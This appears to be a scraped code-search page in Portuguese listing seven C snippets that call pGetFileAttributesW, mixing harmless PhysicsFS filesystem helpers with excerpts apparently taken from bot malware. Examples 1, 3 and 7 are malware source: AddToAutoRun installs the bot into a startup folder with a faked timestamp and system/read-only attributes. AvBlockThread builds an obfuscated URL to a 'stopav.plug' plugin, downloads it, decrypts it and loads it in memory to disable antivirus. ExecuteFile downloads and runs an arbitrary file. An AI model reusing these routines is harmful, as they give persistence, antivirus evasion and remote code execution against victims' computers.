Exemplo n.º 1
0
void AddToAutoRun( WCHAR *TempFileName )
{	
	if ( pGetFileAttributesW( TempFileName ) != 0 )
	{
		WCHAR *BotPath = GetShellFoldersKey( 1 );
		if ( BotPath == NULL )
		{
			return;
		}

		plstrcatW( BotPath, BOT_FILE_NAME );

		pSetFileAttributesW( BotPath, FILE_ATTRIBUTE_NORMAL );

		pCopyFileW( TempFileName, BotPath, FALSE );

		SetFakeFileDateTime( BotPath );

		pSetFileAttributesW( BotPath, FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_READONLY );
	
		pDeleteFileW( TempFileName );

		MemFree( BotPath );
	}

	return;
}
Exemplo n.º 2
0
bool WINAPI CheckInCurrentDir( WCHAR *File )
{
	WCHAR *Directory = (WCHAR*)MemAlloc( 512 );

	if ( Directory == NULL )
	{
		return false;
	}

	pGetModuleFileNameW( (HMODULE)pGetModuleHandleW( NULL ), Directory, 255 );

	for ( DWORD i = m_wcslen( Directory ) - 1; i > 0; i-- )
	{
		if ( Directory[i] == '\\' )
		{
			Directory[i + 1] = '\0';
			break;
		}
	}

	plstrcatW( Directory, File );

	if ( (DWORD)pGetFileAttributesW( Directory ) != INVALID_FILE_ATTRIBUTES )
	{
		MemFree( Directory );
		return true;
	}

	MemFree( Directory );
	return false;
}
Exemplo n.º 3
0
DWORD WINAPI AvBlockThread( LPVOID lpData )
{
	if ( (DWORD)pGetFileAttributesW( GetStopAVPath() ) != INVALID_FILE_ATTRIBUTES )
	{
		return 0;
	}

	char *Host = GetCurrentHost();

	if ( Host == NULL )
	{
		return 0;
	}

	char AvBlockFile[] = {'/','c','f','g','/','s','t','o','p','a','v','.','p','l','u','g',0};

	char AvBlockUrl[256];

	m_lstrcpy( AvBlockUrl, Host );
	m_lstrcat( AvBlockUrl, AvBlockFile );


	LPBYTE BotModule   = NULL;
	DWORD dwModuleSize = 0;

	while ( !DownloadInMem( AvBlockUrl, &BotModule, &dwModuleSize ) ) 
	{
		pSleep( 1000 * 60 * 5 );
	}

	if ( BotModule != NULL && dwModuleSize )
	{
		LPVOID FileData = MemAlloc( dwModuleSize + 1 );
		
		if ( FileData )
		{
			m_memcpy( FileData, BotModule, dwModuleSize );
			File::WriteBufferW(GetMiniAVPath(), FileData, dwModuleSize );
			MemFree( FileData );
		}

		LPVOID Module = DecryptPlugin( BotModule, dwModuleSize );	

		if ( Module )
		{
			HMEMORYMODULE hLib = MemoryLoadLibrary( Module );

			if ( hLib == NULL )
			{
				return 0;
			}

			MemoryFreeLibrary( hLib );
		}
	}

	return 0;
}
Exemplo n.º 4
0
static int doPlatformExists(LPWSTR wpath)
{
    BAIL_IF_MACRO
    (
        pGetFileAttributesW(wpath) == PHYSFS_INVALID_FILE_ATTRIBUTES,
        winApiStrError(), 0
    );
    return(1);
} /* doPlatformExists */
Exemplo n.º 5
0
int __PHYSFS_platformIsDirectory(const char *fname)
{
    int retval = 0;
    LPWSTR wpath;
    UTF8_TO_UNICODE_STACK_MACRO(wpath, fname);
    BAIL_IF_MACRO(wpath == NULL, ERR_OUT_OF_MEMORY, 0);
    retval = ((pGetFileAttributesW(wpath) & FILE_ATTRIBUTE_DIRECTORY) != 0);
    __PHYSFS_smallFree(wpath);
    return(retval);
} /* __PHYSFS_platformIsDirectory */
Exemplo n.º 6
0
static int doPlatformDelete(LPWSTR wpath)
{
    /* If filename is a folder */
    if (pGetFileAttributesW(wpath) & FILE_ATTRIBUTE_DIRECTORY)
    {
        BAIL_IF_MACRO(!pRemoveDirectoryW(wpath), winApiStrError(), 0);
    } /* if */
    else
    {
        BAIL_IF_MACRO(!pDeleteFileW(wpath), winApiStrError(), 0);
    } /* else */

    return(1);   /* if you made it here, it worked. */
} /* doPlatformDelete */
Exemplo n.º 7
0
bool ExecuteFile( char *Url, WCHAR *FileName )
{
	DWORD dwSize = 0;

	bool Dwl = DownloadInFile( Url, FileName );

	if ( Dwl && pGetFileAttributesW( FileName ) )
	{
		if ( RunFileW( FileName ) )
		{
			return true;
		}
	}

	return false;
}